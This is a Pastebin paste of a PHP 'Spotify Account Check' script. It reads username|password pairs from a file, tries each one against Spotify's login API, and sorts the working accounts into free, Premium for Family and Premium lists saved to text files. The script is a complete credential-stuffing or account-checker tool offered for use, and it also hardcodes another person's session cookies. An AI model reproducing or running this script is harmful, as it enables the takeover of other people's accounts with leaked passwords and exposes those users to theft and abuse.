Advertisement
Guest User

Untitled

a guest
Nov 30th, 2017
25,549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.01 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. echo "###############################\n";
  4. echo "[+] Name : Spotify Account Check\n";
  5. echo "[+] Version : 1.0\n";
  6. echo "[+] Author : Humarb\n";
  7. echo "###############################\n";
  8.  
  9. function getCookies(){
  10. $ch = curl_init('https://accounts.spotify.com/id-ID/login');
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12. // get headers too with this line
  13. curl_setopt($ch, CURLOPT_HEADER, 1);
  14. $result = curl_exec($ch);
  15. // get cookie
  16. // multi-cookie variant contributed by @Combuster in comments
  17. preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
  18. $cookies = array();
  19. foreach($matches[1] as $item) {
  20. parse_str($item, $cookie);
  21. $cookies = array_merge($cookies, $cookie);
  22. }
  23. return json_encode($cookies);
  24. }
  25. function login($user,$pw,$token){
  26. $ch = curl_init();
  27. curl_setopt($ch, CURLOPT_URL, "https://accounts.spotify.com/api/login");
  28. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  29. curl_setopt($ch, CURLOPT_POSTFIELDS, "remember=false&username=$user&password=$pw&csrf_token=$token");
  30. curl_setopt($ch, CURLOPT_POST, 1);
  31. curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  32. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie-spotify.txt');
  33. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie-spotify.txt');
  34.  
  35. $headers = array();
  36. $headers[] = "Origin: https://accounts.spotify.com";
  37. $headers[] = "Accept-Encoding: gzip, deflate, br";
  38. $headers[] = "Accept-Language: en-US,en;q=0.9";
  39. $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
  40. $headers[] = "Content-Type: application/x-www-form-urlencoded";
  41. $headers[] = "Accept: application/json, text/plain, */*";
  42. $headers[] = "Referer: https://accounts.spotify.com/id-ID/login";
  43. $headers[] = "Cookie: sp_t=da63cdfadc73e38083d5a956f49e1c51; sp_new=1; __bon=MHwwfC0xMTQyOTM1NTcxfC00ODAwMzI5Mzk4MnwxfDF8MXwx; BOOTSTRAP_CONFIG=%7B%22FB_APP_ID%22%3A%22174829003346%22%2C%22GOOGLE_ANALYTICS_ID%22%3A%22UA-5784146-31%22%2C%22TINDER_ADJUST_TRACKER_ID%22%3A%22szcgk1_dn83gr%22%2C%22TINDER_CLIENT_ID%22%3A%22b06a803d686e4612bdc074e786e94062%22%2C%22ITUNES_ADJUST_TRACKER_ID%22%3A%22isj4qp%22%2C%22country%22%3A%22ID%22%2C%22locales%22%3A%5B%22en_US%22%2C%22en%22%5D%2C%22BON%22%3A%5B%220%22%2C%220%22%2C-1142935571%5D%2C%22user%22%3A%7B%22displayName%22%3A%22rahyang.nusantara%22%7D%2C%22redirect%22%3Anull%7D; spot=%7B%22t%22%3A1511712993%2C%22m%22%3A%22id%22%2C%22p%22%3A%22premium%22%7D; csrf_token=$token; fb_continue=https%3A%2F%2Faccounts.spotify.com%2Fid-ID%2Fstatus; _ga=GA1.2.504002883.1511712904; _gid=GA1.2.1848370865.1511712904";
  44. $headers[] = "Connection: keep-alive";
  45. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  46.  
  47. return curl_exec($ch);
  48. curl_close($ch);
  49. }
  50. function subscription($token){
  51. $ch = curl_init();
  52. curl_setopt($ch, CURLOPT_URL, "https://www.spotify.com/us/account/subscription/");
  53. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  54. curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  55. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie-spotify.txt');
  56. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie-spotify.txt');
  57.  
  58. $headers = array();
  59. $headers[] = "Origin: https://accounts.spotify.com/api/login";
  60. $headers[] = "Accept-Encoding: gzip, deflate, br";
  61. $headers[] = "Accept-Language: en-US,en;q=0.9";
  62. $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
  63. $headers[] = "Content-Type: application/x-www-form-urlencoded";
  64. $headers[] = "Accept: application/json, text/plain, */*";
  65. $headers[] = "Referer: https://accounts.spotify.com/api/login";
  66. $headers[] = "Cookie: sp_t=da63cdfadc73e38083d5a956f49e1c51; sp_new=1; __bon=MHwwfC0xMTQyOTM1NTcxfC00ODAwMzI5Mzk4MnwxfDF8MXwx; BOOTSTRAP_CONFIG=%7B%22FB_APP_ID%22%3A%22174829003346%22%2C%22GOOGLE_ANALYTICS_ID%22%3A%22UA-5784146-31%22%2C%22TINDER_ADJUST_TRACKER_ID%22%3A%22szcgk1_dn83gr%22%2C%22TINDER_CLIENT_ID%22%3A%22b06a803d686e4612bdc074e786e94062%22%2C%22ITUNES_ADJUST_TRACKER_ID%22%3A%22isj4qp%22%2C%22country%22%3A%22ID%22%2C%22locales%22%3A%5B%22en_US%22%2C%22en%22%5D%2C%22BON%22%3A%5B%220%22%2C%220%22%2C-1142935571%5D%2C%22user%22%3A%7B%22displayName%22%3A%22rahyang.nusantara%22%7D%2C%22redirect%22%3Anull%7D; spot=%7B%22t%22%3A1511712993%2C%22m%22%3A%22id%22%2C%22p%22%3A%22premium%22%7D; csrf_token=$token; fb_continue=https%3A%2F%2Faccounts.spotify.com%2Fid-ID%2Fstatus; _ga=GA1.2.504002883.1511712904; _gid=GA1.2.1848370865.1511712904";
  67. $headers[] = "Connection: keep-alive";
  68. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  69.  
  70. return curl_exec($ch);
  71. curl_close($ch);
  72.  
  73. }
  74. function save($file, $input){
  75. $save = fopen($file, "a+");
  76. fwrite($save, $input);
  77. fclose($save);
  78. }
  79.  
  80. $file = readline("Input file : ");
  81. $openfile = fread(fopen($file, "r"), filesize($file));
  82. $exfile = explode("\n", $openfile);
  83.  
  84. foreach($exfile as $num => $exe){
  85. list($user, $pass) = explode("|", $exe);
  86. $cookie = json_decode(getCookies());
  87. $login = json_decode(login($user,$pass,$cookie->csrf_token));
  88. if(!$login->error){
  89. $username = $login->displayName;
  90. $result = subscription($cookie->csrf_token);
  91. preg_match_all("/Premium for Family/", $result, $type);
  92. if(count($type[0]) == 2){
  93. echo "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Free] ./humarb \n";
  94. save("spot-free.txt", "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Free] ./humarb \n");
  95. } elseif(count($type[0]) == 3){
  96. echo "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium for Family] ./humarb \n";
  97. save("spot-pff.txt", "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium for Family] ./humarb \n");
  98. } elseif(count($type[0]) == 4){
  99. echo "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium] ./humarb \n";
  100. save("spot-premium.txt", "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium] ./humarb \n");
  101. }
  102. } else {
  103. echo "[".($num+1)."/".count($exfile)."] ".$exe." => DIE ./humarb \n";
  104. }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement